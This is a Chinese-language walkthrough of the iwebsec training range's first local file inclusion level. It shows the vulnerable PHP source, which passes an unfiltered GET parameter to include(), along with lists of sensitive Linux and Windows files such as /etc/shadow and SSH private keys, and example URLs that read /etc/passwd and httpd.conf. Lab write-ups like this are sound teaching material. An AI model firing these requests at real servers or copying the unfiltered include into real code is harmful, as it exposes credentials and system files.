前言
1.File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
2.文件包含原理
服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。这本身并不是漏洞,但是当其以其解析特性讲任意文件当成PHP解析,这时候漏洞就出来了,假如:我们上传一张包含木马的图片,按照它的特性当成PHP解析,这时候漏洞就产生了。感觉主要是其对解析和执行包含的文件未进行辨别和控制和严格过滤造成的。
3.文件包含分类
文件包含分为本地文件包含和远程文件包含;
本地文件时包含本地服务器的文件,比如:你上传文件到它服务器,它进行包含和执行,如果文件存在恶意代码它同样会当成PHP进行执行;
远程文件包含可以通过http包含别的地址非本地的文件,如:包含别的服务器的文件进行包含执行。
第01关 本地文件包含漏洞
1.打开靶场
http://iwebsec.com:81/fi/01.phphttp://iwebsec.com:81/fi/01.php
2.源码分析
如下所示,有文件包含漏洞include函数的调用,并且未对传入参数filename做任何过滤,很明显存在文件包含漏洞
<?php
require_once('../header.php');
?>
<html>
<head>
<title>本地文件包含</title>
</head>
<h2>本地文件包含</h2>
<div class="alert alert-success">
<p>/01.php?filename=test.txt </p>
</div>
<body>
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
3.linux常用敏感文件路径
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
4.windows常用敏感文件路径
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
5.文件包含渗透
(1)访问test.txt
根据iwebsec靶场提示,访问test.txt
http://iwebsec.com:81/fi/01.php?filename=test.txthttp://iwebsec.com:81/fi/01.php?filename=test.txt
test.txt的内容为<?php phpinfo();?>.服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。
故而即使test.txt 的后缀为txt,也会按照php文件进行执行。
(2)敏感文件
访问/etc/passwd文件
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/01.php?filename=/etc/passwd
访问Apache配置文件
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/01.php?filename=/etc/httpd/conf/httpd.conf
版权归原作者 mooyuan天天 所有, 如有侵权,请联系我们删除。